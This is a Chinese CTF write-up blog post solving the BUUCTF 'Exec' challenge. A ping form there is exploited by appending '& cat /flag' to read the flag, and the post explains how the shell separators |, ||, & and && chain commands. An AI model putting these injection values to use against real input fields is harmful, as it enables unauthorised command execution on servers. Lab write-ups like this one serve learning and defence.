

BUUCTF[ACTF2020新生赛]Exec

原创

[weixin_45253622](#) 于 2021-05-06 13:01:10 发布 59 收藏

分类专栏: [CTF日记](#) 文章标签: [linux](#) [信息安全](#)

版权声明: 本文为博主原创文章, 遵循 [CC 4.0 BY-SA](#) 版权协议, 转载请附上原文出处链接和本声明。

本文链接: https://blog.csdn.net/weixin_45253622/article/details/116451508

版权



[CTF日记](#) 专栏收录该内容

25 篇文章 0 订阅

订阅专栏



PING

请输入需要ping的地址

PING

https://blog.csdn.net/weixin_45253622

哦? 命令执行漏洞利用

输入127.0.0.1



PING

请输入需要ping的地址

PING

PING 127.0.0.1 (127.0.0.1): 56 data bytes

https://blog.csdn.net/weixin_45253622

输入127.0.0.1 & cat /flag

command execution x +

← → ↻ 🏠 ⚠️ 不安全 | 67d2d86d-3f04-4c80-9bed-31349d5caac0.node3.buuoj.cn

应用 学习视频 在线工具 安全导航 靶场教学 漏洞原理 漏洞提交 web安全

PING

请输入需要ping的地址

PING

```
flag{a8fb0222-1d2b-4f8c-bc21-b67425e4faff}
PING 127.0.0.1 (127.0.0.1): 56 data bytes
```

https://blog.csdn.net/weixin_45253622

emmm

说一下命令连接符的一些东西：

| 可以连接命令，且只会执行后面那条命令。

```
whoami | ping www.baidu.com
```

```
ping www.baidu.com | whoami
```

//两条命令都只会执行后面的

|| 只有前面的命令失败，才会执行后面的语句。

```
ping 127.0.0.1|| whoami //不执行whoami
```

```
ping xxx.|| whoami //执行whoami
```

&符号，不管前面的命令是成功还是失败，都会执行后面的命令。

```
ping 127.0.0.1& whoami //执行whoami
```

```
ping xxx.& whoami //执行whoami
```

所以我们选择&，当然 ; 和 &效果是一样的。

&&符号就必须两条命令都为真才可以了

```
ping www.baidu.com -n 1&& whoami //执行whoami
```

```
ping www && whoami //不执行whoami
```

也可以这样 1&pwd

command execution x +

← → ↻ 🏠 不安全 | 67d2d86d-3f04-4c80-9bed-31349d5caac0.node3.buuoj.cn

应用 学习视频 在线工具 安全导航 靶场教学 漏洞原理 漏洞提交 web安全

PING

请输入需要ping的地址

PING

```
/var/www/html  
PING 1 (0.0.0.1): 56 data bytes
```

https://blog.csdn.net/weixin_45253622

1 & cat /flag

command execution x +

← → ↻ 🏠 不安全 | 67d2d86d-3f04-4c80-9bed-31349d5caac0.node3.buuoj.cn

应用 学习视频 在线工具 安全导航 靶场教学 漏洞原理 漏洞提交 web安全

PING

请输入需要ping的地址

PING

```
flag{a8fb0222-1d2b-4f8c-bc21-b67425e4faff}  
PING 1 (0.0.0.1): 56 data bytes
```

https://blog.csdn.net/weixin_45253622

也可以得到flag。